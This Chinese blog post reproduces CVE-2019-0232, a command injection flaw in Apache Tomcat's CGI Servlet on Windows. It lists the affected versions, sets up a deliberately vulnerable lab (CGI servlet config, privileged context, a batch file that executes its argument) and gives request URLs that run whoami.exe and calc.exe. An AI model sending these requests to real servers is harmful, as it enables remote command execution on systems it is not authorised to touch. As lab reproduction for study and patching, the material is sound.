欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

程序员文章站 2022-07-15 12:00:47
...

前言

该漏洞只对Windows平台有效,攻击者向CGI Servlet发送请求,可在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令。漏洞成因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中的输入验证错误而存在该漏洞。

 

影响版本

Apache Tomcat 9.0.0.M1 ~ 9.0.17

Apache Tomcat 8.5.0 ~ 8.5.39

Apache Tomcat 7.0.0 ~ 7.0.93

环境搭建

Apache Tomcat安装

下载地址https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/

需要取消掉注释两项

Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

在<servlet>标签中替换掉

 <servlet>
        <servlet-name>cgi</servlet-name>
        <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
        <init-param>
          <param-name>debug</param-name>
          <param-value>0</param-value>
        </init-param>
        <init-param>
          <param-name>cgiPathPrefix</param-name>
          <param-value>WEB-INF/cgi-bin</param-value>
        </init-param>
        <init-param>
          <param-name>executable</param-name>
          <param-value></param-value>
        </init-param>
        <load-on-startup>5</load-on-startup>
    </servlet>

Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

接着在conf/context.xml  中的<Context>添加privileged="true"语句

Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

apache-tomcat-8.5.39\webapps\ROOT\WEB-INF下创建一个cgi-bin文件夹,并在文件夹内创建一个bat文件写入

@echo off
echo Content-Type: text/plain
echo.
set off=%~1
%off%

Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

现在就可以启动了,已经有漏洞环境的环境了

双击startup.bat后访问127.0.0.1:8080

Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

执行命令

http://your-IP:8080/cgi-bin/hello.bat?c:/windows/system32/whoami.exe

Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

弹计算器

http://your-IP:8080/cgi-bin/hello.bat?c:/windows/system32/calc.exe

Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

 

相关标签: CVE-2019-0232